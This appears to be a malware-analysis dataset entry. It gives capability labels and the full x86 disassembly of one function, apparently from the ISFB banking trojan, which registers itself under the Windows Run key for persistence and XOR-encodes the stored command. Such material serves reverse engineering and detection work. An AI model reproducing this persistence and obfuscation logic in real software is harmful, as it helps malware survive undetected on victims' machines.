Function at 0x401c8b
Capabilities:
Encode data using xor
Persist via run registry key
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x20
xor eax, eax
inc eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x24]
and eax, 8
mov dword [esp + 8], 0x200
mov dword [esp + 0x14], eax
je 0x401cb6
mov dword [esp + 8], 0x100
push ebx
mov ebx, dword [0x40c89c]
test ebx, ebx
mov dword [esp + 8], ebx
je 0x401f0c
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push 0x100000
push 0x40
call esi
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push ebx
mov edi, eax
push str.ISFB:_Run_command_is___s__n
push edi
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
push edi
call ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
call edi
lea eax, [esp + 0x20]
push eax
mov eax, dword [esp + 0x1c]
or eax, 0xf003f
push eax
push 0
push 0x40d024
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov dword [esp + 0x34], eax
jne 0x401ddd
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 0
push dword [0x40c800]
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x401dc9
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x34]
push eax
push 0
push dword [0x40ca40]
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov dword [esp + 0x34], eax
jne 0x401db8
push dword [esp + 0x14]
mov eax, dword [esp + 0x14]
push edi
mov byte [edi + eax - 1], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push 0x100000
push 0x40
mov dword [esp + 0x3c], eax
call esi
push edi
push str.ISFB:_Reg_file_path_is___s__n
push eax
mov dword [esp + 0x28], eax
call ebp
add esp, 0xc
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
push 0
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401dd1
mov dword [esp + 0x34], 8
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401e05
push 0x100000
push 0x40
call esi
push dword [esp + 0x34]
mov dword [esp + 0x20], eax
push str.ISFB:_Failed_to_open_Windows_autorun_key__error__u_n
push eax
call ebp
add esp, 0xc
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x1c]
call edi
xor eax, eax
cmp dword [esp + 0x34], eax
je 0x401eea
cmp dword [esp + 0x24], eax
je 0x401e1d
push eax
call fcn.0040586f
call fcn.00401a5a
cmp dword [esp + 0x24], 0
mov edi, eax
je 0x401e32
push 1
call fcn.0040586f
test edi, edi
je 0x401eee
call fcn.00401154
push dword [esp + 0x18]
mov dword [esp + 0x18], edi
push edi
call fcn.00407028
test eax, eax
mov dword [esp + 0x34], eax
jne 0x401ec4
lea eax, [esp + 0x34]
push eax
push dword [0x40c814]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401eee
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov edx, eax
xor ebp, ebp
xor ebx, ebx
shr edx, 2
mov dword [esp + 0x10], eax
mov esi, edi
je 0x401ea3
mov eax, dword [esi]
inc ebx
mov cl, bl
rol eax, cl
xor eax, dword [0x40c804]
xor ebp, eax
mov dword [esi], ebp
add esi, 4
dec edx
jne 0x401e88
mov eax, dword [esp + 0x10]
push eax
push edi
push 3
push 0
push 0x40d11a
push dword [esp + 0x48]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401eee
push 0x100000
push 0x40
call esi
push dword [esp + 0x34]
mov esi, eax
push str.ISFB:_Failed_registering_App_within_Windows_autorun__error__u_n
push esi
call ebp
add esp, 0xc
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401eee
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x14]
cmp eax, dword [0x40c89c]
pop edi
pop esi
pop ebp
je 0x401f0c
push eax
push 0
push dword [0x40c800]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x1c]
pop ebx
add esp, 0x20
ret 4